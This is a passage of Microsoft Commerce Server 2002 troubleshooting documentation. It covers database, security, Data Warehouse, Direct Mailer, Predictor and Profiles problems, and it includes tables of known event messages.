  4. Browse to Program Files\Microsoft Commerce Server, select the Admin_schema file, and then click Open.
  5. On the Query menu, click Execute.

You will need to unpack your sites again and reinstall Direct Mailer and the Predictor resource using Commerce Server Setup.

Note

  • Immediately after you install your site, and any time you change the configuration of your Commerce Server deployment, you should back up your Administration database using a different name. You can use this copy to roll back any changes that are made later.


Temporary catalog XML files are not removed from the ProductCatalogs directory

Temporary copies of the uploaded catalog XML files are not automatically removed from the ProductCatalogs directory under the Business Desk installation path, which is usually located at <drive:>\Inetpub\wwwrooot\<Site Name>BizDesk\ProductCatalogs. The disk could fill up with temporary files and result in denial of service to the business users attempting to access Business Desk.

Solution

It is recommended that you set up your own policy about cleaning up input files. This policy will be dependent on your hard drive capacity and the actual number of client side import operations you expect to perform.


Troubleshooting Security

This section describes problems you might encounter while managing security.

This section contains:

  • Kerberos and Windows Integrated Security do not work
  • OLAP/SQL Server requires Windows NT Authentication
  • Cannot log on to a Web application as an administrator
  • Enable Trust computer for delegation for Web servers
  • Changing the computer name causes Commerce Server to stop


Kerberos and Windows Integrated Security do not work

If you are troubleshooting a deployment that uses Kerberos, Internet Information Services (IIS) 5.0, and Windows Integrated Security, see the following recommended solution.

Solution

Check to see if the Service Principal Names exists. If you have renamed your computer, the host/NetBIOS and host/DNS names might have been removed. You must reset the host Service Principal Names.

  • Check to see if the computers are in a trusted domain This is required.
  • Check to see if you have removed Named Pipes so that only TCP/IP is configured for the Server Network Utility (SQL Server)
  • Check to see if Network Library=DBMSSOCN exists in a connection string If it does, Kerberos will not work.
  • Check to see whether the Web server's account is trusted for delegation. This is required.


OLAP/SQL Server requires Windows NT authentication

If you connect remotely to a computer running SQL Server from a different domain or workgroup, Commerce Server Site Packager will fail when it attempts to make the OLE DB for online analytical processing (OLAP) connection for the Data Warehouse.

Solution

The OLE DB for the online analytical processing (OLAP) connection for the Data Warehouse requires Microsoft Windows NT authentication.

To establish this, you must create an identical account on the workgroup SQL Server computer, for example, <computername>\share, so that <computername>\share can connect to the Data Warehouse.

Note

  • If SQL Server is in a trusted domain, the domain account must be part of the OLAP Administrative account.

See Also

Enabling Windows Authentication


Cannot log on to a Web application as an administrator

You can log on to Commerce Server Business Desk as an administrator, but you cannot log on to another Commerce Server application as administrator.

Solution

This problem is caused by a conflict between Business Desk and Windows domain names. To avoid this situation, create users in Business Desk, and then assign them access privileges by placing them in the appropriate domain groups. Users who need access to Business Desk can be added as domain administrators, and can access Business Desk using their standard user names.


Enable Trust computer for delegation for Web servers

Active Server Pages (ASP) pages running on a Web server can set and reset passwords for users stored in the Active Directory directory service only if the Web server is trusted for delegation.

Solution

To enable this option, go to the property sheet for the computer account in Active Directory and make sure the Trust computer for delegation check box is selected.

To set the Trust computer for delegation option

  1. Click Start, point to Program Files, point to Administrative Tools, and then click Active Directory Users and Computers.
  2. Navigate to the computer account that needs to be set, for example, Active Directory Users and Computers/<domain name>/Computers/<computer name>.
  3. Double-click the computer name in the list on the right pane. On the Account tab, select the Account is trusted for delegation check box, and then click OK.

You may need to reboot the associated Web server in order for this setting to take effect.


Changing the computer name causes Commerce Server to stop

If you change the name of your computer, SQL Server may not automatically find the Administration database. You may receive the following message:

"2735 CA_ADMIN_ValidateDB"

Solution

Change the necessary connection string settings in Commerce Server Manager so that they use the new computer name. The settings you change will depend on the topology used to deploy Commerce Server. Manually edit the fields in the Administrator database to the new name.

You must also delete your current SQL Server registration and then register a new instance of SQL Server. You need to change your SQL Server login and password for the Administration database. You do this by deleting your current SQL Server registration and then registering a new instance of SQL Server. Use the following procedure to register a new SQL Server instance.

To change the SQL Server login and password for the Administration database

  1. In the Microsoft Commerce Server Manager console, right-click Commerce Server Manager, and then click Properties.
  2. In the Commerce Server Manager Properties dialog box, on the Administration Database tab, click Modify.

    The Data Link Properties dialog box appears.

  3. After making the necessary changes in the Data Link Properties dialog box, click OK.

Note

  • For instructions about completing the Data Link Properties dialog box, click Help in the Data Link Properties dialog box to open the Microsoft Data Link Help file.


Troubleshooting Commerce Server Resources

This section describes issues you may encounter while using Commerce Server resources and describes possible solutions.

This section contains:

  • Troubleshooting the Data Warehouse
  • Troubleshooting Direct Mailer
  • Troubleshooting the Predictor Resource
  • Troubleshooting the Profiles Resource


Troubleshooting the Data Warehouse

This section describes issues you might encounter while using the Commerce Server Data Warehouse resource, and describes possible solutions.

This section contains:

  • Incomplete catalog data after import failure
  • Saved DTS packages do not work after upgrading to a new edition of Commerce Server
  • Report preparation task fails
  • Report preparation task returns "Error cube process full" and "Failed to complete"
  • Report preparation task returns "Source data contains no rows" error
  • Terminal Services and Report preparation task are not compatible
  • Log file import differs in number of visits
  • Setting a database property to null


Incomplete catalog data after import failure

When you are importing a catalog, and a disruption (failure) occurs while the script is running, all your catalog data may not be imported. For example, a failure can occur if the Web server cannot connect to the SQL Server while importing catalog data.

Solution

Check the event log files to verify the cause of the disruption (such as loose connectivity with the SQL Server). Fix the cause of the disruption and run the import catalog process again.


Saved DTS packages do not work after upgrading to a new edition of Commerce Server

If you create Data Transmission Services (DTS) packages in Commerce Server 2000, and you then upgrade to Microsoft Commerce Server 2002, the saved DTS packages will not work because the ProgIDs have changed.

Solution

Create new DTS packages. For information about creating a new DTS package, see Creating and Scheduling a Multi-task Package.


Report preparation task fails

If you install the Data Warehouse on a computer running software that performs a real-time scan of your system (for example, virus protection software), you might not be able to run the Report preparation Data Transformation Services (DTS) task successfully.

Solution

To resolve this issue, use the Windows 2000 Task Manager to end the process in which the scanning software is running.


Report preparation task returns "Error cube process full" and "Failed to complete"

When you run the Report preparation DTS task, the following message is displayed:

     Source: CSDataWareHouse
     Category: None
     Event ID: 45057
     Description: Report Preparation DTS task : Error Cube Process Full :
     Buyer Visits : Processing error [Source data contains no rows] 'Buyer
     Visits^BuyerType'S'

Followed by:

     Source: CSDataWareHouse
     Category: None
     Event ID: 45060
     Description: Report Preparation DTS task : failed to complete

These messages are displayed in two situations:

  • There is no data to be processed.
  • Dimensions or cubes were not processed.

Solution

You must determine whether data should have been in the Data Warehouse for processing. Do the following:

  • If no data was imported for the Report preparation DTS task to process, run the appropriate import DTS task, and then rerun the Report preparation DTS task.
  • If data was imported, review the Event Log and/or the CubeProcInfo/DimProcInfo tables in order to determine whether any dimensions or cubes failed to process.


Report preparation task returns "Source data contains no rows" error

The Report preparation task may report errors when processing OLAP dimensions and cubes if the information necessary to populate those objects has not been imported into the Data Warehouse. The error message appears in the following format:

Processing error [Source data contains no rows] <object name>

Solution

If you are importing a subset of data into the Data Warehouse (for example, you are not running the Campaign data import task), you might want to disable the processing of objects for which there will be no data. This will prevent the "Source data contains no rows" error messages.

To disable processing of Analysis Services objects, set the ProcessingEnabled flag to 0 in the CubeProcInfo and DimProcInfo tables for the cubes and dimensions you do not want to process.

If you are importing all data into the Data Warehouse, the import process may not work as expected. If data is not being generated by your site, and is therefore not imported, the source data will contain no rows, and that data will not be available for reports. It is also possible that the site and visit activity for your site are not properly correlated. Check to ensure that your site is issuing an AuthTicket when each visitor connects. Your visit activity might be identified as belonging to an anonymous user.

If you do not want to include certain data in the reports you generate, and do not collect or import that data, see Knowledge Base article Q301580. This article provides information about preventing OLAP processing errors in instances where the SQL Server object on which the relevant cubes and dimensions are built contains no data.

For information about troubleshooting Business Desk reports, see Troubleshooting Business Desk Analysis.


Terminal Services and Report preparation task are not compatible

You must run the Report preparation Data Transformation Services (DTS) task directly on the server. Do not run the Report preparation DTS task from a package running from Terminal Services; doing so creates an error in DTS.

Solution

This solution also applies to unpacking a site. When you unpack the Data Warehouse, the OLAP database may not be created properly.


Log file import differs in number of visits

If your log files contain either an incorrect number of unique items or extraneous carriage return/linefeeds, the number of visits reported by Commerce Server 2000 and Commerce Server 2002 might be different.

Solution

This is due to changes in the way the application parses the Web log file. If you have a field that contains a positive integer value (for example, bytes sent, bytes received, status code, and so on) and the field is corrupted, the field value of the integer is not passed as a valid field in Commerce Server 2002. Additionally, Commerce Server 2002 rejects integers that are too large. For information about supported data types in Commerce Server 2002, see Supported Data Types.


Setting a database property to null

If you attempt to set a database property to null using the .NET Framework, you will probably fail. This is because the .NET Framework uses the DBNull class instead of null for database values.

Solution

Use DBNull instead of null. For more information, see the .NET Framework documentation.


Troubleshooting Direct Mailer

This section describes issues you might encounter while using the Commerce Server Direct Mailer, and describes possible solutions.

This section contains:

  • Service will not start after installing on a cluster
  • Jobs fail with no error message
  • Discovering details of job failures


Service will not start after installing on a cluster

If a leading zero (0) is entered during cluster setup of Direct Mailer or Predictor, the service will not start. For more information, see the Microsoft Knowledge Base article “Ping and FTP Resolve IP Address with Leading Zero as Octal” available at http://go.microsoft.com/fwlink/?LinkId=5593.


Jobs fail with no error message

If SQL Server Agent is stopped when a Direct Mailer job is scheduled to run, the job will not run. You do not receive any indication that the job failed to start, and no error condition is logged.

Solution

To start a job that did not run, you must start the job manually from the SQL Server Agent control in SQL Enterprise Manager.

To start a direct mail job manually

  1. Click Start, point to Programs, point to Microsoft SQL Server 2000, and then click Enterprise Manager.
  2. Expand the nodes to the following path: \Microsoft SQL Servers\SQL Server Group\<SQL Server Name >\Management\SQL Server Agent\Jobs, and then click Jobs.

    The Direct Mailer jobs appear in the right pane of the SQL Server Enterprise Manager.


Discovering details of job failures

When a Direct Mailer job completes, Direct Mailer logs an event to the application event log. This event contains the job number, the start time of the job, the completion time of the job, the number of total recipients in the mailing, and the number of errors that occurred.

To find more information about the failures, you need to look in the dml_job_errors table in the Direct Mailer database.

Solution

Open Event Viewer and locate the application event log message logged by Direct Mailer.

To open Event Viewer

  1. Click Start, point to Programs, point to Microsoft Commerce Server, and then click Commerce Server Manager.
  2. Expand the Event Viewer node, and then double-click Application.
  3. In the events list, find the event where the Source is Commerce Server Direct Mailer and the Event ID is 18.
  4. To open the Event Properties dialog box, double-click the event message.
  5. In the Event Properties dialog box, copy the job number onto the Clipboard, and then open SQL Server Query Analyzer.

To open SQL Server Query Analyzer

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Query Analyzer.
  2. In the Connect to SQL Server dialog box, connect to the Direct Mailer database your server is configured to run against.
  3. In Query Analyzer, type the following query:
    "SELECT * FROM dml_job_errors WHERE job_id = '<job id>'

    where <job id> is the job number you copied from step 5 in the To open Event Viewer procedure.

The returned result set indicates the error code and description for each failure that occurred while the Direct Mailer job was processed.


Troubleshooting the Predictor Resource

This section describes issues you might encounter while using the Commerce Server Predictor resource, and describes possible solutions.

This section contains:

  • Service will not start after installing on a cluster
  • Analysis models do not build
  • Building analysis models takes too long
  • Loading an analysis model from the Data Warehouse takes too long
  • Creating more than one analysis model for an application
  • Prediction time takes too long
  • Returns same prediction recommendations regardless of the input
  • Analysis model does not build when using DBCS characters in the model name
  • Help option is not displayed on the MMC menu for the Predictor service
  • Delete option is disabled when selecting multiple models under Model view


Service will not start after installing on a cluster

If a leading 0 is entered during cluster setup of Direct Mailer or Predictor, the service does not start.

Solution

For information about services that will not start after installing it on a cluster, see the Microsoft Knowledge Base article “Ping and FTP Resolve IP Address with Leading Zero as Octal” available at http://go.microsoft.com/fwlink/?LinkId=5593.


Analysis models do not build

You attempt to build a Prediction or Segment model and the build fails.

Solution

The request to build the model occurred either before the Report preparation Data Transformation Services (DTS) task was complete, or after the Report preparation DTS task failed.

Run the Report preparation DTS task again. Wait until it completes successfully, and then build the Prediction and Segment models.


Building analysis models takes too long

The time required to build an analysis model depends on the size of the input data (the total number of cases), the sample size, the number of attributes in the data, various factors regarding the statistics of the input data, and also the hardware and network characteristics and topology.

Solution

The following are ways to improve build performance:

  • Choose a smaller sample size. Larger samples result in greater accuracy — but only up to a point. For example, if you have a total of 1,000,000 input cases, you might start by building an analysis model with 5,000 cases, then 10,000, and so on, until you find that the accuracy of the model is no longer increasing significantly.
  • If your catalog contains a very large number of products (greater than 1,000) and you are building a Prediction model, it is advisable to set the values for the Input attribute fraction and the Output attribute fraction to values less than 1.0 in the Build Model dialog box.

See Also

Building a New Analysis Model


Loading an analysis model from the Data Warehouse takes too long

If you are trying to load a large analysis model from the Data Warehouse, it may take a long time to load. If you load the analysis model from a file, the load time required may decrease.

Solution

Instead of using the LoadModelFromDB method each time, you can cache the model as a file on the Web Server using the IPredictorClient::SaveModelToFile method, and then load it using the LoadModelFromFile method. Loading from a file will be faster and will work even if the Data Warehouse is not available.

See Also

IPredictorClient::SaveModelToFile (Visual C++)

PredictorClient.SaveModelToFile (Visual Basic)


Creating more than one analysis model for an application

If you need more than one analysis model for a particular application, avoid resetting properties on the IPredictorClient interface on a per-page basis because the only state the PredictorClient object keeps is in the properties that are set on the object and the analysis model currently loaded.

Solution

To create more than one analysis model for an application, use separate instances of the PredictorClient object instead of loading a model on every page. Create the PredictorClient object in the Application context using Microsoft Internet Information Services (IIS) 5.0 in Application_OnStart, and then reuse the object on individual Active Server Pages (ASP) pages.

See Also

PredictorClient Object (Visual C++)

PredictorClient Object (Visual Basic)


Prediction time takes too long

A Prediction model takes too long to open in the Prediction Model Viewer, or a Segment model takes too long to open in the Segment Viewer.

Solution

If the prediction time required is unacceptable, the following information may be helpful:

  • Use the lMaxPredictions interface in IPredictorClient::Predict to limit the number of predictions instead of asking for all predictions and post-processing the output. Prediction time is faster when fewer predictions are requested.
  • If you are using a Segment model for prediction, you can limit the number of segments used in building Segment models. Segment models build faster when fewer segments are requested at build time.

Note

  • It is recommended that you do not use Segment models for real-time recommendations because they are not optimized for this purpose and do not produce recommendations as accurate as those produced by Prediction models. Always build and use Prediction models for real-time recommendations on your site.

See Also

IPredictorClient::Predict (Visual C++)

PredictorClient.Predict (Visual Basic)

Building a New Analysis Model


Returns same prediction recommendations regardless of the input

If you are getting the same recommendations regardless of input, it is possible that the Predictor resource does not recognize the names of the input attributes. By default, the PredictorClient object ignores input attributes that it does not recognize.

Solution

Setting bFailOnUnknownInputAttributes to True will cause the PredictorClient object to generate an error at prediction time if it cannot recognize the input. For Prediction models, use the Prediction Model Viewer to view the trees to see what it is capable of predicting and what input attributes are being used to predict given output attributes. You may find that the attribute that you are trying to predict does not depend on the input attribute strongly enough to be included in the model. For information about using the Prediction Model Viewer, see Prediction Model Viewer.

See Also

PredictorClient Object (Visual C++)

PredictorClient Object (Visual Basic)


Analysis model does not build when using DBCS characters in the model name

You receive the error message "Unable to load model" when you build an analysis model using double-byte character set (DBCS) characters in the model name.

Solution

If you use DBCS characters in the model name for either Prediction or Segment models, ensure that the installation of SQL Server storing the data contains a compatible character set.


Help option is not displayed on the MMC menu for the Predictor service

If you select the Predictor resource, click Help on the Microsoft Management Console (MMC) menu, and then click Help on Predictor, Help for the Predictor resource does not appear.

Solution

To access Help for the Predictor resource, right-click Predictor service, and then click Help. Help for the Predictor resource appears.


Delete option is disabled when selecting multiple models under Model view

If you select multiple models in the Models view, the delete option is disabled.

Solution

If you click the Models view tab, the delete option appears. This issue results from known issues with the Microsoft Management Console (MMC).


Troubleshooting the Profiles Resource

This section describes issues you might encounter while using the Commerce Server Profiles resource, and describes possible solutions.

This section contains:

  • Login failed for user
  • Duplicate Profiles global resources


Login failed for user

You receive the following error message:

Microsoft OLE DB Provider for SQL Server: Login failed for user <user name>.

If you do back up the SQL Server database tables associated with the Profiles resource, and then restore them on a different database on the same SQL Server installation or on a different SQL Server installation, the Profiles resource might not initialize because the connection string(s) to the database tables might not be valid after being restored to the new SQL Server. The connection string(s) might not be valid because either the logon credentials are not valid, or the database is not present on the SQL Server installation, or both.

Note

  • It is recommended that you do not back up and restore your databases directly. Instead, you should use Commerce Server Site Packager to back up and restore your databases.

Solution

The Profiling System depends on the s_CommerceProviderConnectionString connection string. This connection string is used by the OLE DB Provider for Commerce Server, and is stored within the Commerce Server Administration database. If you restore the Administration database from a database backup, this connection string is often incorrect and must be reset.

To reset the s_CommerceProviderConnectionString connection string

  1. Expand Commerce Server Manager, expand Global Resources, right-click Profiles, and then click Properties.
  2. In the Profiles Properties dialog box, on the Connection Strings tab, select s_CommerceProvideConnectionString, and then click Modify.
  3. In the Data Link Properties dialog box, make the necessary changes, and then click OK.

    Note

    • For information about how to complete the Data Link Properties dialog box, click Help in the Data Link Properties dialog box to open Microsoft Data Link Help.


Duplicate Profiles global resources

If you delete a site, and then add a new site using the same .pup package file that was used to create the deleted site, two Profiles global resources exist in Commerce Server Manager.

Solution

You must manually remove the original Profiles global resource from Commerce Server Manager.

To remove the Profiles global resource

  1. Expand Commerce Server Manager, expand Global Resources, right-click the Profiles resource you want to delete, and then click Delete.
  2. In the Commerce Server Manager dialog box, click Yes to confirm the deletion of the resource.

The original resource is permanently deleted.


Troubleshooting Commerce Server Manager Taskpads

If you install a version of Commerce Server 2002 that uses a different language than that of the operating system, the Commerce Server Manager taskpads will not work. This is a known issue with Microsoft Management Console 1.2: Taskpads reference context menus in a single language and they do not work when the language of the console file and the operating system are not in sync.

Solution

After you change the language of the console file so that it is with the same as the language of the operating system, you must unpack your site.

To unpack a site

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Site Packager.

    The Commerce Server Site Packager screen appears.

  2. Select Unpack from a package file, and then click Next.

Follow the instructions in the Site Packager dialog boxes. For more information, see Unpacking a Site.

To change passwords

  • Right-click Commerce Server Manager, click All Tasks, and then click Change Passwords.

For more information about changing passwords, see Changing a Service Account or Password.

To change the connection string for the Administration database

  1. Right-click Commerce Server Manager, and then click Properties.

    The Commerce Server Manager Properties dialog box appears.

  2. On the Administration Database tab, click Modify.

    The Data Link Properties dialog box appears.

  3. After making the necessary changes in the Data Link Properties dialog box, click OK.

    For information about how to complete the Data Link Properties dialog box, click Help in the Data Link Properties dialog box to open Microsoft Data Link Help.

Note

  • After you change a property in Commerce Server Manager, you must restart all services that use those values. For instructions see Restarting IIS and Commerce Server Services.


Event Messages

This section provides a comprehensive list of known event messages. Included are the message ID, severity type, and comments for each event message.

This section contains:

  • Common Event Messages
  • Site Configuration Event Messages
  • Components Event Messages
  • Targeting System Event Messages
  • Product Catalog System Event Messages
  • Predictor Service Event Messages
  • Profiling System Event Messages
  • Performance Counters Event Messages
  • Expired Evaluation Period Event Messages


Common Event Messages

The following table lists some common event messages.

Event ID | Event Message | Comments
0x8011 | (<InternalID>:<ThreadID>)cls: <StorageClassName>, S: signalling termination of batch due to error, hr: 0x4, time: | This event occurs when the storage layer is attempting to Search for items that occur in the database. This can happen with malformed queries or some kind of underlying SQL error. The user should re-run the process with the "CSDWDBGSRV.EXE -f Trace" process running in a separate command window and send the report (along with a reproducible data set) to Product Support for escalation.
0x8014 | (<InternalID>:<ThreadID>)cls: <StorageClassName>, I: exception: signalling termination of batch due to error, hr: 0x4, time: | This event occurs when the storage layer is attempting to Insert data in the database. This can happen if the database has been altered or schema doesn't match for some reason which causes an underlying SQL error. The user should re-run the process with the "CSDWDBGSRV.EXE -f Trace" process running in a separate command window and send the report (along with a reproducible data set) to Product Support for escalation.
0xC018 | Log Import Task: Failed to import logs for site : <File name> | General error when there is a failure in the Web server log import DTS.
0xC008 | Log Import Task: No log files were selected for import for site: <File name> | No log files available.
0x81D2 | In ParseCookie2: URL decoding for cookie value failed. | Attempt to decode an invalid cookie.
0XC009 | Log Import Task: Failed to initialize, either the connection information is invalid or the Data Warehouse is in an incorrect state | Invalid connection string or the Data Warehouse database is offline.


Site Configuration Event Messages

The following table lists known event messages for Site Configuration.

Message ID | Severity | Comments
36865 | Error | Error in MSCSSiteConfig.cls::Initialize
36866 | Error | Error in MSCSSiteConfigAdmin.cls::ImportResource
36867 | Error | Error in MSCSSiteConfigAdmin.cls::ExportResource
36868 | Error | Error in MSCSSiteConfigAdmin.cls::AddRefToGroupComponent
36869 | Error | Error in Commerce SiteAdmin Object Error


Components Event Messages

The following table lists known event messages for components.

Message ID | Severity | Comments
4096 | Warning | 0.01Event used by the AdminEventLog object's WriteWarningEvent Method
4097 | Error | 0.01Event used by the AdminEventLog object's WriteErrorEvent Method
4098 | Informational | 0.01Event used by the AdminEventLog object's WriteInformationalEvent Method
4100 | Error | Windows: %1<infrequent use/deprecated> Logged by a small set of components including catalog. Used to report Win32 system errors.
4101 | Error | Commerce Server: %1<infrequent use/deprecated> Logged by a small set of components including catalog to report various Commerce errors.
4103 | Error | Connection Error: %1<unused>
4104 | Error | <if failure is in a component> Component Execution failed for component[0x%1!X!] hr: 0x%2!X!Used to report all pipeline/component execution errors.
4105 | Error | [OrderDiscount]: The discount with id %1 has an invalid value for the field '%2'. The discount has been invalidated. An invalid discount was detected in the ContentList. OrderDiscount is warning that it is treating the discount as inactive so that it cannot apply.
4106 | Error | WIN32 System Error. If the problem persists, please contact a Microsoft support engineer with the following information: source file: %1, line: %2, WIN32_Error: %3".<unused>
4107 | Error | COM System Error. If the problem persists, please contact a Microsoft support engineer with the following information: source file: %1, line: %2, COM_HRESULT: %3".<unused>
4108 | Error | Call to CoCreateInstance(CLSID_StdGlobalInterfaceTable) failed. CS40 pipelines require NT4SP3 or greater. Logged by the Pipeline if this system-level dependency is not met.
4109 | Error | Failed to register COM+ application %1. HRESULT %2.Logged by the Pipeline COM+ application registration code (normally run by Setup)
4110 | Error | Failed to register COM+ component %1. HRESULT %2.Logged by the Pipeline COM+ application registration code (normally run by Setup)
4111 | Error | Failed to unregister COM+ application %1. HRESULT %2.Logged by the Pipeline COM+ application registration code (normally run by Setup)


Targeting System Event Messages

Campaigns Event Messages

Direct Mailer Event Messages

Campaigns Event Messages

The following table lists known event messages for Campaigns.

Message ID | Severity | Comments
8192 | Error | The CacheManager encountered an error during a refresh of the cache: '%1'Errors during cache refresh are reported by this method. The error message logged includes the source component and description.
8193 | Warning | Commerce.WriteEvents: no performance dictionary found. The dictionary containing ad event data (request and click) was not present in the cache. WriteEvents can take no action if this is not present.
8194 | Warning | Commerce.WriteEvents: the campaign item with id %1 does not exist.<unused>
8195 | Warning | Commerce.LoadAdvertisements: no active advertisements were returned from the query. Consider scheduling house ads to avoid this message. Warning message logged by CSFLoadAdvertisements on the first refresh after app startup if there are no active ads in the database.
8196 | Error | 0.01Actual error message retrieved from resources based on the specific error that has occurred. All ListManager failures are logged.
8197 | Error | Marketing DTS: Unable to bind to the Commerce OLEDB Provider with the following URL : %1 OLEDB Error
8198 | Error | Marketing DTS: %1 Used to report a variety of fatal errors from the Marketing DTS task. The actual message inserted depends on the error.
8199 | Error | Unable to set the campaign connection string : %1 ADO call to put_ConnectionString failed
8200 | Error | Marketing DTS Import Started
8201 | Error | Error filling DB columns access structures for the class : %1OLEDB Error
8202 | Error | OLEDB Error
8203 | Error | Marketing DTS Import Successfully completed Logged on successful completion of the marketing DTS task.
8204 | Warning | List Manager Service Control Notification: %1Logged on service startup and shutdown

Direct Mailer Event Messages

The following table lists known event messages for Direct Mailer.

Message ID | Severity | Comments
10 | Informational | Service has been started. DirectMailer service started.
11 | Informational | Service has been stopped. DirectMailer service stopped.
12 | Informational | The job %1 has completed execution. Job Name: %2. Start Time: %3. Finish Time: %4. Recipient Count: %5. Error Count: %6.Job completion message.
256 | Warning | Invalid control requestInvalid service control request received.
257 | Warning | Error opening or appending to the log file: %1. Logging will be disabled at this time. Error during logging operations. Logging terminated.
258 | Warning | The job '%1' has been aborted due to a fatal error or because the total errors number for this job exceeded the limitError limit exceeded.
259 | Warning | The job '%1' has been aborted due to system shutdown request. Job was aborted due to shutdown request.
260 | Warning | Attempt to connect to the Direct Mailer Database has failed. Please verify the configuration settings and the database server status. Database connection failure.
261 | Warning | The job %1 was aborted because the Direct Mailer database has become unavailable. Job Name: %2. Start Time: %3. Finish Time: %4. Recipient Count: %5 of %6. Error Count: %7. The job will continue to show a status of running (3) even once the database is back online. To restart the job, use "dmlrun.exe /run:%1" or stop and restart the direct mailer service. Job terminated because SQL database became unavailable and the configured number of retries were exhausted.
262 | Warning | The job %1 was terminated before running to completion. Job Name: %2. Start Time: %3. Finish Time: %4. Recipient Count: %5 of %6. Error Count: %7.Job terminated before completion. May be recovered.
512 | Error | Cannot start the service: Service Handler is not installed. Fatal error in service startup.
513 | Error | Cannot initialize the service due to the following error: %1. Please fix the problem and restart the service. Service startup error.
514 | Error | Cannot initialize the service - unknown exception has been raised. Unhandled exception during service startup.
515 | Error | Cannot access the service configuration information due to the following error: hr=0x%1!x! %2 Please fix the problem and restart the service. Error reading service config.
516 | Error | Cannot access service configuration - unknown exception has been raised. Unhandled exception while reading service configuration.
517 | Error | Unhandled exception in the module: %1 The module execution terminated. Unhandled exception in service. Terminating.
518 | Error | The service was initialized but failed to connect to the database. Please fix the problem and restart the service. Service will try to connect multiple times at startup and then will fail.
519 | Error | CDO Initialization failed: %1<unused>
520 | Error | ADO Initialization failed: %1<unused>
521 | Error | ADO connection to the DirectMailer database failed: %1. Please verify the configuration settings<unused>
522 | Error | Failed to execute ADO command due to the following problem: %1. Please verify the configuration settings<lame because not used consistently> Logged in a few places when ADO command failed.
523 | Error | Invalid configuration parameter(s)<unused>
524 | Error | Error while creating or manipulating with a Commerce Site Server core object '%1'. Error code %2.<lame> Used in one place during initialization to report a SimpleList Failure.
525 | Error | Error while creating or manipulating with an internal object '%1'. execution has been terminated.<lame> Used in one place during initialization to report what actually amounts to an out of memory situation.


Product Catalog System Event Messages

The following table lists known event messages for Catalogs.

Message ID | Severity | Comments
20480 | Error | Message text with two string %1 substitution parameters %2.
20481 | Error | Invalid XML File %1
20482 | Error | The Properties which are used as ProductID or VariantID is not present in the <CatalogSchema>.
20483 | Error | The Conversion of %1 from String to the required datatype failed.
20484 | Error | Updating the Full Text Index for Catalog System failed. %1
20485 | Error | The Unique ID required for the Product/Category/Product Variant is missing. %1 %2
20486 | Warning | Commerce Server Catalog Import started.
20487 | Warning | Commerce Server Catalog Import Completed.
20489 | Error | Database operation failed. %1
20490 | Error | There were errors while adding/updating the CatalogDefinitions. %1
20491 | Error | Adding columns to the Catalog tables failed %1.
20492 | Error | There were errors while adding/updating the Catalog Hierarchies. %1.
20493 | Error | There were errors while adding/updating the Catalog Relations. %1.
20495 | Error | Adding a new product/Category failed %1 %2 %3.
20496 | Error | Updating a product/Category failed %1 %2 %3.
20497 | Error | There is a reference to a product/category/property, which does not exist in the XML File. %1.
20498 | Warning | Importing Catalog "%1"
20499 | Warning | Unable to create the file %1
20500 | Warning | Microsoft Commerce Server Catalog Export started
20501 | Warning | Microsoft Commerce Server Catalog Export Completed
20502 | Warning | Microsoft Commerce Server Exporting Catalog "%1"
20503 | Error | Invalid property is used in the product. %1. Possible causes can be: For a string property, the property value exceeds the property length. For an enumerated property the enumerated value does not exist For a date property the date does not fall within the range.
20504 | Error | Unable to Open or Create the file %1
20505 | Error | Invalid data present in the file %1
20512 | Error | The new Import/Export operation cannot be started until the Import in progress is completed.
20513 | Error | Updating the Price(cy_list_price) Failed %1 %2.
20514 | Error | Conversion of the Data from its Datatype to string failed.
20515 | Error | 0.01
20516 | Error | The string "%1" you specified had one of the reserved characters ( "[," " which should not be used).
20517 | Error | Creating full text indexes.
20518 | Error | The category %1 already exists in the catalog. Category names in a catalog should be unique.
20519 | Error | The product %1 already exists in the catalog. Product names in a catalog should be unique.
20520 | Error | The product variant %1 already exists in the catalog. Product variant names in a catalog should be unique.
20521 | Error | The Catalog %1 does not exist.
20522 | Error | Should not match a definition name. Please specify a valid catalog name.
20523 | Error | The value for Property %1 does not lie within the minimum and maximum range for integer values. Valid values for this property should be between -2147483648 and 2147483647.
20524 | Error | The value for Property %1 does not lie within the minimum and maximum range for big integer values. Valid values for this property should be between -9223372036854775808 and 9223372036854775807.
20525 | Error | Big Integer data type is supported only on SQL Server 8 or later versions. This error occurred in the XML file %1 at line %2 position %3.
20526 | Error | Undefined Property: The Catalog Property %1 under Definition %2 has not been defined in the XML file.
20527 | Error | Unable to Open the file %1. The system is out of memory.
20528 | Error | The attribute %1 contained in the CSV file is a built in column in the catalogproducts table and cannot be used as an attribute. You need to rename the attribute. The CSV file is invalid.
20529 | Error | An Invalid property %1 is used in the Catalog %2 for product %3. Possible causes can be: For a string property, the property value exceeds the property length, for an enumerated property the enumerated value does not exist, for a date property the date does not fall within the range.
20530 | Error | The product %1 in Catalog %2 exists in multiple pricing categories. Pricing rule will not be applied to this product and it will retain its original price.


Predictor Service Event Messages

Predictor Service Event Messages

Model Builder DTS Task Event Messages

Predictor Service Event Messages

The following table lists known event messages for Predictor.

Message ID | Severity | Comments
24577 | Warning | Predictor service: Only found %1 cases when building model from configuration '%2'. At least %3 cases are recommended. This error occurs when the size of the data (the number of distinct cases) is too small.
24578 | Error | Predictor service: Model '%1' already exists. Build not started.
24579 | Informational | Predictor service: Handler not installed. Error will occur if CS was installed without the Predictor, but is trying to connect to a remote Predictor service.
24580 | Informational | Predictor service Stopped.
24581 | Informational | Predictor service Started.
24582 | Informational | Predictor service: Bad Service Request. Error will occur when attempting to connect to the service in a wrong way.
24583 | Error | Predictor service: Started build of model '%1' using model configuration '%2'.
24584 | Error | Predictor service: Error occurred while building model from config file '%1': %2%2 is the error description.
24590 | Error | Predictor service: Error deleting model '%1': %2%2 is the error description.
24591 | Error | Predictor service: Error renaming model '%1' to '%2': %3%3 is the error description.
24592 | Error | Predictor service: Error deleting model configuration '%1': %2%2 is the error description.
24593 | Error | Predictor service: Error renaming model configuration '%1' to '%2': %3%3 is the error description.
24594 | Informational | Predictor service: Model '%1' was deleted.
24595 | Informational | Predictor service: Model '%1' was renamed to '%2'.
24596 | Informational | Predictor service: Model configuration '%1' was deleted.
24597 | Informational | Predictor service: Model configuration '%1' was renamed to '%2'.

Model Builder DTS Task Event Messages

The following table lists known event messages for Model Builder Data Transformation Services (DTS) Task.

Message ID | Severity | Comments
26625 | Informational | Model Builder DTS Task: %1.Reporting start of model build. %1 will be replaced with a message consisting of the ordinal number of the build and the model name. i.e. Building of model "test" has started for the 1 time.
